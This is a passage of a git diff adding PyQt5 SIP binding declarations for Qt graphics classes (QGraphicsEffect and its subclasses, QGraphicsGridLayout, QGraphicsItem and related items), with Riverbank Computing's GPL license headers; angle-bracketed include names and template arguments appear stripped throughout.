+%TypeHeaderCode +#include +%End + +public: + enum ChangeFlag + { + SourceAttached, + SourceDetached, + SourceBoundingRectChanged, + SourceInvalidated, + }; + + typedef QFlags ChangeFlags; + + enum PixmapPadMode + { + NoPad, + PadToTransparentBorder, + PadToEffectiveBoundingRect, + }; + + QGraphicsEffect(QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsEffect(); + virtual QRectF boundingRectFor(const QRectF &sourceRect) const; + QRectF boundingRect() const; + bool isEnabled() const; + +public slots: + void setEnabled(bool enable); + void update(); + +signals: + void enabledChanged(bool enabled); + +protected: + virtual void draw(QPainter *painter) = 0; + virtual void sourceChanged(QGraphicsEffect::ChangeFlags flags); + void updateBoundingRect(); + bool sourceIsPixmap() const; + QRectF sourceBoundingRect(Qt::CoordinateSystem system = Qt::LogicalCoordinates) const; + void drawSource(QPainter *painter); + QPixmap sourcePixmap(Qt::CoordinateSystem system = Qt::LogicalCoordinates, QPoint *offset /Out/ = 0, QGraphicsEffect::PixmapPadMode mode = QGraphicsEffect::PadToEffectiveBoundingRect) const; +}; + +QFlags operator|(QGraphicsEffect::ChangeFlag f1, QFlags f2); + +class QGraphicsColorizeEffect : QGraphicsEffect +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsColorizeEffect(QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsColorizeEffect(); + QColor color() const; + qreal strength() const; + +public slots: + void setColor(const QColor &c); + void setStrength(qreal strength); + +signals: + void colorChanged(const QColor &color); + void strengthChanged(qreal strength); + +protected: + virtual void draw(QPainter *painter); +}; + +class QGraphicsBlurEffect : QGraphicsEffect +{ +%TypeHeaderCode +#include +%End + +public: + enum BlurHint + { + PerformanceHint, + QualityHint, + AnimationHint, + }; + + typedef QFlags BlurHints; + QGraphicsBlurEffect(QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsBlurEffect(); + virtual QRectF boundingRectFor(const QRectF &rect) const; + qreal blurRadius() const; + QGraphicsBlurEffect::BlurHints blurHints() const; + +public slots: + void setBlurRadius(qreal blurRadius); + void setBlurHints(QGraphicsBlurEffect::BlurHints hints); + +signals: + void blurRadiusChanged(qreal blurRadius); + void blurHintsChanged(QGraphicsBlurEffect::BlurHints hints /ScopesStripped=1/); + +protected: + virtual void draw(QPainter *painter); +}; + +QFlags operator|(QGraphicsBlurEffect::BlurHint f1, QFlags f2); + +class QGraphicsDropShadowEffect : QGraphicsEffect +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsDropShadowEffect(QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsDropShadowEffect(); + virtual QRectF boundingRectFor(const QRectF &rect) const; + QPointF offset() const; + qreal xOffset() const; + qreal yOffset() const; + qreal blurRadius() const; + QColor color() const; + +public slots: + void setOffset(const QPointF &ofs); + void setOffset(qreal dx, qreal dy); + void setOffset(qreal d); + void setXOffset(qreal dx); + void setYOffset(qreal dy); + void setBlurRadius(qreal blurRadius); + void setColor(const QColor &color); + +signals: + void offsetChanged(const QPointF &offset); + void blurRadiusChanged(qreal blurRadius); + void colorChanged(const QColor &color); + +protected: + virtual void draw(QPainter *painter); +}; + +class QGraphicsOpacityEffect : QGraphicsEffect +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsOpacityEffect(QObject *parent /TransferThis/ = 0); + virtual ~QGraphicsOpacityEffect(); + qreal opacity() const; + QBrush opacityMask() const; + +public slots: + void setOpacity(qreal opacity); + void setOpacityMask(const QBrush &mask); + +signals: + void opacityChanged(qreal opacity); + void opacityMaskChanged(const QBrush &mask); + +protected: + virtual void draw(QPainter *painter); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsgridlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsgridlayout.sip new file mode 100644 index 00000000..c3f22827 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsgridlayout.sip @@ -0,0 +1,100 @@ +// qgraphicsgridlayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsGridLayout : QGraphicsLayout +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsGridLayout(QGraphicsLayoutItem *parent /TransferThis/ = 0); + virtual ~QGraphicsGridLayout(); + void addItem(QGraphicsLayoutItem *item /Transfer/, int row, int column, int rowSpan, int columnSpan, Qt::Alignment alignment = Qt::Alignment()); + void addItem(QGraphicsLayoutItem *item /Transfer/, int row, int column, Qt::Alignment alignment = Qt::Alignment()); + void setHorizontalSpacing(qreal spacing); + qreal horizontalSpacing() const; + void setVerticalSpacing(qreal spacing); + qreal verticalSpacing() const; + void setSpacing(qreal spacing); + void setRowSpacing(int row, qreal spacing); + qreal rowSpacing(int row) const; + void setColumnSpacing(int column, qreal spacing); + qreal columnSpacing(int column) const; + void setRowStretchFactor(int row, int stretch); + int rowStretchFactor(int row) const; + void setColumnStretchFactor(int column, int stretch); + int columnStretchFactor(int column) const; + void setRowMinimumHeight(int row, qreal height); + qreal rowMinimumHeight(int row) const; + void setRowPreferredHeight(int row, qreal height); + qreal rowPreferredHeight(int row) const; + void setRowMaximumHeight(int row, qreal height); + qreal rowMaximumHeight(int row) const; + void setRowFixedHeight(int row, qreal height); + void setColumnMinimumWidth(int column, qreal width); + qreal columnMinimumWidth(int column) const; + void setColumnPreferredWidth(int column, qreal width); + qreal columnPreferredWidth(int column) const; + void setColumnMaximumWidth(int column, qreal width); + qreal columnMaximumWidth(int column) const; + void setColumnFixedWidth(int column, qreal width); + void setRowAlignment(int row, Qt::Alignment alignment); + Qt::Alignment rowAlignment(int row) const; + void setColumnAlignment(int column, Qt::Alignment alignment); + Qt::Alignment columnAlignment(int column) const; + void setAlignment(QGraphicsLayoutItem *item, Qt::Alignment alignment); + Qt::Alignment alignment(QGraphicsLayoutItem *item) const; + int rowCount() const; + int columnCount() const; + QGraphicsLayoutItem *itemAt(int row, int column) const; + virtual int count() const; + virtual QGraphicsLayoutItem *itemAt(int index) const; + virtual void removeAt(int index); +%MethodCode + // The ownership of any existing item must be passed back to Python. + QGraphicsLayoutItem *itm; + + if (a0 < sipCpp->count()) + itm = sipCpp->itemAt(a0); + else + itm = 0; + + Py_BEGIN_ALLOW_THREADS + sipSelfWasArg ? sipCpp->QGraphicsGridLayout::removeAt(a0) + : sipCpp->removeAt(a0); + Py_END_ALLOW_THREADS + + if (itm) + { + PyObject *itmo = sipGetPyObject(itm, sipType_QGraphicsLayoutItem); + + if (itmo) + sipTransferBack(itmo); + } +%End + + virtual void invalidate(); + virtual void setGeometry(const QRectF &rect); + virtual QSizeF sizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const; + void removeItem(QGraphicsLayoutItem *item /TransferBack/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsitem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsitem.sip new file mode 100644 index 00000000..86807f5b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsitem.sip @@ -0,0 +1,703 @@ +// qgraphicsitem.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsItem /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + switch (sipCpp->type()) + { + case 2: + sipType = sipType_QGraphicsPathItem; + break; + + case 3: + sipType = sipType_QGraphicsRectItem; + break; + + case 4: + sipType = sipType_QGraphicsEllipseItem; + break; + + case 5: + sipType = sipType_QGraphicsPolygonItem; + break; + + case 6: + sipType = sipType_QGraphicsLineItem; + break; + + case 7: + sipType = sipType_QGraphicsPixmapItem; + break; + + case 8: + // Switch to the QObject convertor. + *sipCppRet = static_cast(sipCpp); + sipType = sipType_QObject; + break; + + case 9: + sipType = sipType_QGraphicsSimpleTextItem; + break; + + case 10: + sipType = sipType_QGraphicsItemGroup; + break; + + case 11: + // Switch to the QObject convertor. + *sipCppRet = static_cast(sipCpp); + sipType = sipType_QObject; + break; + + case 12: + // Switch to the QObject convertor. + *sipCppRet = static_cast(sipCpp); + sipType = sipType_QObject; + break; + + default: + sipType = 0; + } +%End + +public: + enum CacheMode + { + NoCache, + ItemCoordinateCache, + DeviceCoordinateCache, + }; + + enum GraphicsItemChange + { + ItemPositionChange, + ItemMatrixChange, + ItemVisibleChange, + ItemEnabledChange, + ItemSelectedChange, + ItemParentChange, + ItemChildAddedChange, + ItemChildRemovedChange, + ItemTransformChange, + ItemPositionHasChanged, + ItemTransformHasChanged, + ItemSceneChange, + ItemVisibleHasChanged, + ItemEnabledHasChanged, + ItemSelectedHasChanged, + ItemParentHasChanged, + ItemSceneHasChanged, + ItemCursorChange, + ItemCursorHasChanged, + ItemToolTipChange, + ItemToolTipHasChanged, + ItemFlagsChange, + ItemFlagsHaveChanged, + ItemZValueChange, + ItemZValueHasChanged, + ItemOpacityChange, + ItemOpacityHasChanged, + ItemScenePositionHasChanged, + ItemRotationChange, + ItemRotationHasChanged, + ItemScaleChange, + ItemScaleHasChanged, + ItemTransformOriginPointChange, + ItemTransformOriginPointHasChanged, + }; + + enum GraphicsItemFlag + { + ItemIsMovable, + ItemIsSelectable, + ItemIsFocusable, + ItemClipsToShape, + ItemClipsChildrenToShape, + ItemIgnoresTransformations, + ItemIgnoresParentOpacity, + ItemDoesntPropagateOpacityToChildren, + ItemStacksBehindParent, + ItemUsesExtendedStyleOption, + ItemHasNoContents, + ItemSendsGeometryChanges, + ItemAcceptsInputMethod, + ItemNegativeZStacksBehindParent, + ItemIsPanel, + ItemSendsScenePositionChanges, +%If (Qt_5_4_0 -) + ItemContainsChildrenInShape, +%End + }; + + typedef QFlags GraphicsItemFlags; + static const int Type; + static const int UserType; + explicit QGraphicsItem(QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsItem(); + QGraphicsScene *scene() const; + QGraphicsItem *parentItem() const; + QGraphicsItem *topLevelItem() const; + void setParentItem(QGraphicsItem *parent /TransferThis/); + QGraphicsItemGroup *group() const; + void setGroup(QGraphicsItemGroup *group /KeepReference/); + QGraphicsItem::GraphicsItemFlags flags() const; + void setFlag(QGraphicsItem::GraphicsItemFlag flag, bool enabled = true); + void setFlags(QGraphicsItem::GraphicsItemFlags flags); + QString toolTip() const; + void setToolTip(const QString &toolTip); + QCursor cursor() const; + void setCursor(const QCursor &cursor); + bool hasCursor() const; + void unsetCursor(); + bool isVisible() const; + void setVisible(bool visible); + void hide(); + void show(); + bool isEnabled() const; + void setEnabled(bool enabled); + bool isSelected() const; + void setSelected(bool selected); + bool acceptDrops() const; + void setAcceptDrops(bool on); + Qt::MouseButtons acceptedMouseButtons() const; + void setAcceptedMouseButtons(Qt::MouseButtons buttons); + bool hasFocus() const; + void setFocus(Qt::FocusReason focusReason = Qt::OtherFocusReason); + void clearFocus(); + QPointF pos() const; + qreal x() const; + qreal y() const; + QPointF scenePos() const; + void setPos(const QPointF &pos); + void moveBy(qreal dx, qreal dy); + void ensureVisible(const QRectF &rect = QRectF(), int xMargin = 50, int yMargin = 50); + virtual void advance(int phase); + qreal zValue() const; + void setZValue(qreal z); + virtual QRectF boundingRect() const = 0; + QRectF childrenBoundingRect() const; + QRectF sceneBoundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual bool collidesWithItem(const QGraphicsItem *other, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape) const; + virtual bool collidesWithPath(const QPainterPath &path, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape) const; + QList collidingItems(Qt::ItemSelectionMode mode = Qt::IntersectsItemShape) const; + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0) = 0; + void update(const QRectF &rect = QRectF()); + QPointF mapToItem(const QGraphicsItem *item, const QPointF &point) const; + QPointF mapToParent(const QPointF &point) const; + QPointF mapToScene(const QPointF &point) const; + QPolygonF mapToItem(const QGraphicsItem *item, const QRectF &rect) const; + QPolygonF mapToParent(const QRectF &rect) const; + QPolygonF mapToScene(const QRectF &rect) const; + QPolygonF mapToItem(const QGraphicsItem *item, const QPolygonF &polygon) const; + QPolygonF mapToParent(const QPolygonF &polygon) const; + QPolygonF mapToScene(const QPolygonF &polygon) const; + QPainterPath mapToItem(const QGraphicsItem *item, const QPainterPath &path) const; + QPainterPath mapToParent(const QPainterPath &path) const; + QPainterPath mapToScene(const QPainterPath &path) const; + QPointF mapFromItem(const QGraphicsItem *item, const QPointF &point) const; + QPointF mapFromParent(const QPointF &point) const; + QPointF mapFromScene(const QPointF &point) const; + QPolygonF mapFromItem(const QGraphicsItem *item, const QRectF &rect) const; + QPolygonF mapFromParent(const QRectF &rect) const; + QPolygonF mapFromScene(const QRectF &rect) const; + QPolygonF mapFromItem(const QGraphicsItem *item, const QPolygonF &polygon) const; + QPolygonF mapFromParent(const QPolygonF &polygon) const; + QPolygonF mapFromScene(const QPolygonF &polygon) const; + QPainterPath mapFromItem(const QGraphicsItem *item, const QPainterPath &path) const; + QPainterPath mapFromParent(const QPainterPath &path) const; + QPainterPath mapFromScene(const QPainterPath &path) const; + bool isAncestorOf(const QGraphicsItem *child) const; + QVariant data(int key) const; + void setData(int key, const QVariant &value); + virtual int type() const; + void installSceneEventFilter(QGraphicsItem *filterItem); + void removeSceneEventFilter(QGraphicsItem *filterItem); + +protected: + virtual void contextMenuEvent(QGraphicsSceneContextMenuEvent *event); + virtual void dragEnterEvent(QGraphicsSceneDragDropEvent *event); + virtual void dragLeaveEvent(QGraphicsSceneDragDropEvent *event); + virtual void dragMoveEvent(QGraphicsSceneDragDropEvent *event); + virtual void dropEvent(QGraphicsSceneDragDropEvent *event); + virtual void focusInEvent(QFocusEvent *event); + virtual void focusOutEvent(QFocusEvent *event); + virtual void hoverEnterEvent(QGraphicsSceneHoverEvent *event); + virtual void hoverLeaveEvent(QGraphicsSceneHoverEvent *event); + virtual void hoverMoveEvent(QGraphicsSceneHoverEvent *event); + virtual void inputMethodEvent(QInputMethodEvent *event); + virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; + virtual QVariant itemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value); + virtual void keyPressEvent(QKeyEvent *event); + virtual void keyReleaseEvent(QKeyEvent *event); + virtual void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseMoveEvent(QGraphicsSceneMouseEvent *event); + virtual void mousePressEvent(QGraphicsSceneMouseEvent *event); + virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); + void prepareGeometryChange(); + virtual bool sceneEvent(QEvent *event); + virtual bool sceneEventFilter(QGraphicsItem *watched, QEvent *event); + virtual void wheelEvent(QGraphicsSceneWheelEvent *event); + +public: + void setPos(qreal ax, qreal ay); + void ensureVisible(qreal x, qreal y, qreal w, qreal h, int xMargin = 50, int yMargin = 50); + void update(qreal ax, qreal ay, qreal width, qreal height); + QPointF mapToItem(const QGraphicsItem *item, qreal ax, qreal ay) const; + QPointF mapToParent(qreal ax, qreal ay) const; + QPointF mapToScene(qreal ax, qreal ay) const; + QPointF mapFromItem(const QGraphicsItem *item, qreal ax, qreal ay) const; + QPointF mapFromParent(qreal ax, qreal ay) const; + QPointF mapFromScene(qreal ax, qreal ay) const; + QTransform transform() const; + QTransform sceneTransform() const; + QTransform deviceTransform(const QTransform &viewportTransform) const; + void setTransform(const QTransform &matrix, bool combine = false); + void resetTransform(); + bool isObscured(const QRectF &rect = QRectF()) const; + bool isObscured(qreal ax, qreal ay, qreal w, qreal h) const; + QPolygonF mapToItem(const QGraphicsItem *item, qreal ax, qreal ay, qreal w, qreal h) const; + QPolygonF mapToParent(qreal ax, qreal ay, qreal w, qreal h) const; + QPolygonF mapToScene(qreal ax, qreal ay, qreal w, qreal h) const; + QPolygonF mapFromItem(const QGraphicsItem *item, qreal ax, qreal ay, qreal w, qreal h) const; + QPolygonF mapFromParent(qreal ax, qreal ay, qreal w, qreal h) const; + QPolygonF mapFromScene(qreal ax, qreal ay, qreal w, qreal h) const; + QGraphicsWidget *parentWidget() const; + QGraphicsWidget *topLevelWidget() const; + QGraphicsWidget *window() const; + QList childItems() const; + bool isWidget() const; + bool isWindow() const; + QGraphicsItem::CacheMode cacheMode() const; + void setCacheMode(QGraphicsItem::CacheMode mode, const QSize &logicalCacheSize = QSize()); + bool isVisibleTo(const QGraphicsItem *parent) const; + bool acceptHoverEvents() const; + void setAcceptHoverEvents(bool enabled); + void grabMouse(); + void ungrabMouse(); + void grabKeyboard(); + void ungrabKeyboard(); + QRegion boundingRegion(const QTransform &itemToDeviceTransform) const; + qreal boundingRegionGranularity() const; + void setBoundingRegionGranularity(qreal granularity); + void scroll(qreal dx, qreal dy, const QRectF &rect = QRectF()); + QGraphicsItem *commonAncestorItem(const QGraphicsItem *other) const; + bool isUnderMouse() const; + qreal opacity() const; + qreal effectiveOpacity() const; + void setOpacity(qreal opacity); + QTransform itemTransform(const QGraphicsItem *other, bool *ok = 0) const; + bool isClipped() const; + QPainterPath clipPath() const; + QRectF mapRectToItem(const QGraphicsItem *item, const QRectF &rect) const; + QRectF mapRectToParent(const QRectF &rect) const; + QRectF mapRectToScene(const QRectF &rect) const; + QRectF mapRectFromItem(const QGraphicsItem *item, const QRectF &rect) const; + QRectF mapRectFromParent(const QRectF &rect) const; + QRectF mapRectFromScene(const QRectF &rect) const; + QRectF mapRectToItem(const QGraphicsItem *item, qreal ax, qreal ay, qreal w, qreal h) const; + QRectF mapRectToParent(qreal ax, qreal ay, qreal w, qreal h) const; + QRectF mapRectToScene(qreal ax, qreal ay, qreal w, qreal h) const; + QRectF mapRectFromItem(const QGraphicsItem *item, qreal ax, qreal ay, qreal w, qreal h) const; + QRectF mapRectFromParent(qreal ax, qreal ay, qreal w, qreal h) const; + QRectF mapRectFromScene(qreal ax, qreal ay, qreal w, qreal h) const; + + enum PanelModality + { + NonModal, + PanelModal, + SceneModal, + }; + + QGraphicsObject *parentObject() const; + QGraphicsItem *panel() const; + bool isPanel() const; + QGraphicsObject *toGraphicsObject(); + QGraphicsItem::PanelModality panelModality() const; + void setPanelModality(QGraphicsItem::PanelModality panelModality); + bool isBlockedByModalPanel(QGraphicsItem **blockingPanel /Out/ = 0) const; + QGraphicsEffect *graphicsEffect() const; + void setGraphicsEffect(QGraphicsEffect *effect /Transfer/); + bool acceptTouchEvents() const; + void setAcceptTouchEvents(bool enabled); + bool filtersChildEvents() const; + void setFiltersChildEvents(bool enabled); + bool isActive() const; + void setActive(bool active); + QGraphicsItem *focusProxy() const; + void setFocusProxy(QGraphicsItem *item /KeepReference/); + QGraphicsItem *focusItem() const; + void setX(qreal x); + void setY(qreal y); + void setRotation(qreal angle); + qreal rotation() const; + void setScale(qreal scale); + qreal scale() const; + QList transformations() const; + void setTransformations(const QList &transformations /KeepReference/); + QPointF transformOriginPoint() const; + void setTransformOriginPoint(const QPointF &origin); + void setTransformOriginPoint(qreal ax, qreal ay); + void stackBefore(const QGraphicsItem *sibling); + Qt::InputMethodHints inputMethodHints() const; + void setInputMethodHints(Qt::InputMethodHints hints); + +protected: + void updateMicroFocus(); + +private: + QGraphicsItem(const QGraphicsItem &); +}; + +QFlags operator|(QGraphicsItem::GraphicsItemFlag f1, QFlags f2); + +class QAbstractGraphicsShapeItem : QGraphicsItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractGraphicsShapeItem(QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QAbstractGraphicsShapeItem(); + QPen pen() const; + void setPen(const QPen &pen); + QBrush brush() const; + void setBrush(const QBrush &brush); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; +}; + +class QGraphicsPathItem : QAbstractGraphicsShapeItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsPathItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsPathItem(const QPainterPath &path, QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsPathItem(); + QPainterPath path() const; + void setPath(const QPainterPath &path); + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; +}; + +class QGraphicsRectItem : QAbstractGraphicsShapeItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsRectItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsRectItem(const QRectF &rect, QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsRectItem(qreal x, qreal y, qreal w, qreal h, QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsRectItem(); + QRectF rect() const; + void setRect(const QRectF &rect); + void setRect(qreal ax, qreal ay, qreal w, qreal h); + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; +}; + +class QGraphicsEllipseItem : QAbstractGraphicsShapeItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsEllipseItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsEllipseItem(const QRectF &rect, QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsEllipseItem(qreal x, qreal y, qreal w, qreal h, QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsEllipseItem(); + QRectF rect() const; + void setRect(const QRectF &rect); + void setRect(qreal ax, qreal ay, qreal w, qreal h); + int startAngle() const; + void setStartAngle(int angle); + int spanAngle() const; + void setSpanAngle(int angle); + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; +}; + +class QGraphicsPolygonItem : QAbstractGraphicsShapeItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsPolygonItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsPolygonItem(const QPolygonF &polygon, QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsPolygonItem(); + QPolygonF polygon() const; + void setPolygon(const QPolygonF &polygon); + Qt::FillRule fillRule() const; + void setFillRule(Qt::FillRule rule); + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; +}; + +class QGraphicsLineItem : QGraphicsItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsLineItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsLineItem(const QLineF &line, QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsLineItem(qreal x1, qreal y1, qreal x2, qreal y2, QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsLineItem(); + QPen pen() const; + void setPen(const QPen &pen); + QLineF line() const; + void setLine(const QLineF &line); + void setLine(qreal x1, qreal y1, qreal x2, qreal y2); + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; +}; + +class QGraphicsPixmapItem : QGraphicsItem +{ +%TypeHeaderCode +#include +%End + +public: + enum ShapeMode + { + MaskShape, + BoundingRectShape, + HeuristicMaskShape, + }; + + explicit QGraphicsPixmapItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsPixmapItem(const QPixmap &pixmap, QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsPixmapItem(); + QPixmap pixmap() const; + void setPixmap(const QPixmap &pixmap); + Qt::TransformationMode transformationMode() const; + void setTransformationMode(Qt::TransformationMode mode); + QPointF offset() const; + void setOffset(const QPointF &offset); + void setOffset(qreal ax, qreal ay); + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; + QGraphicsPixmapItem::ShapeMode shapeMode() const; + void setShapeMode(QGraphicsPixmapItem::ShapeMode mode); +}; + +class QGraphicsSimpleTextItem : QAbstractGraphicsShapeItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsSimpleTextItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsSimpleTextItem(const QString &text, QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsSimpleTextItem(); + void setText(const QString &text); + QString text() const; + void setFont(const QFont &font); + QFont font() const; + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; +}; + +class QGraphicsItemGroup : QGraphicsItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsItemGroup(QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsItemGroup(); + void addToGroup(QGraphicsItem *item /Transfer/); + void removeFromGroup(QGraphicsItem *item /GetWrapper/); +%MethodCode + sipCpp->removeFromGroup(a0); + + // The item will be passed to the group's parent if there is one. If not, + // transfer ownership back to Python. + if (sipCpp->parentItem()) + sipTransferTo(a0Wrapper, sipGetPyObject(sipCpp->parentItem(), sipType_QGraphicsItem)); + else + sipTransferBack(a0Wrapper); +%End + + virtual QRectF boundingRect() const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; +}; + +class QGraphicsObject : QObject, QGraphicsItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsObject(QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsObject(); + void grabGesture(Qt::GestureType type, Qt::GestureFlags flags = Qt::GestureFlags()); + void ungrabGesture(Qt::GestureType type); + +signals: + void parentChanged(); + void opacityChanged(); + void visibleChanged(); + void enabledChanged(); + void xChanged(); + void yChanged(); + void zChanged(); + void rotationChanged(); + void scaleChanged(); + +protected slots: + void updateMicroFocus(); + +protected: + virtual bool event(QEvent *ev); +}; + +class QGraphicsTextItem : QGraphicsObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGraphicsTextItem(QGraphicsItem *parent /TransferThis/ = 0); + QGraphicsTextItem(const QString &text, QGraphicsItem *parent /TransferThis/ = 0); + virtual ~QGraphicsTextItem(); + QString toHtml() const; + void setHtml(const QString &html); + QString toPlainText() const; + void setPlainText(const QString &text); + QFont font() const; + void setFont(const QFont &font); + void setDefaultTextColor(const QColor &c); + QColor defaultTextColor() const; + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + virtual bool contains(const QPointF &point) const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget); + virtual bool isObscuredBy(const QGraphicsItem *item) const; + virtual QPainterPath opaqueArea() const; + virtual int type() const; + void setTextWidth(qreal width); + qreal textWidth() const; + void adjustSize(); + void setDocument(QTextDocument *document /KeepReference/); + QTextDocument *document() const; + void setTextInteractionFlags(Qt::TextInteractionFlags flags); + Qt::TextInteractionFlags textInteractionFlags() const; + void setTabChangesFocus(bool b); + bool tabChangesFocus() const; + void setOpenExternalLinks(bool open); + bool openExternalLinks() const; + void setTextCursor(const QTextCursor &cursor); + QTextCursor textCursor() const; + +signals: + void linkActivated(const QString &); + void linkHovered(const QString &); + +protected: + virtual bool sceneEvent(QEvent *event); + virtual void mousePressEvent(QGraphicsSceneMouseEvent *event); + virtual void 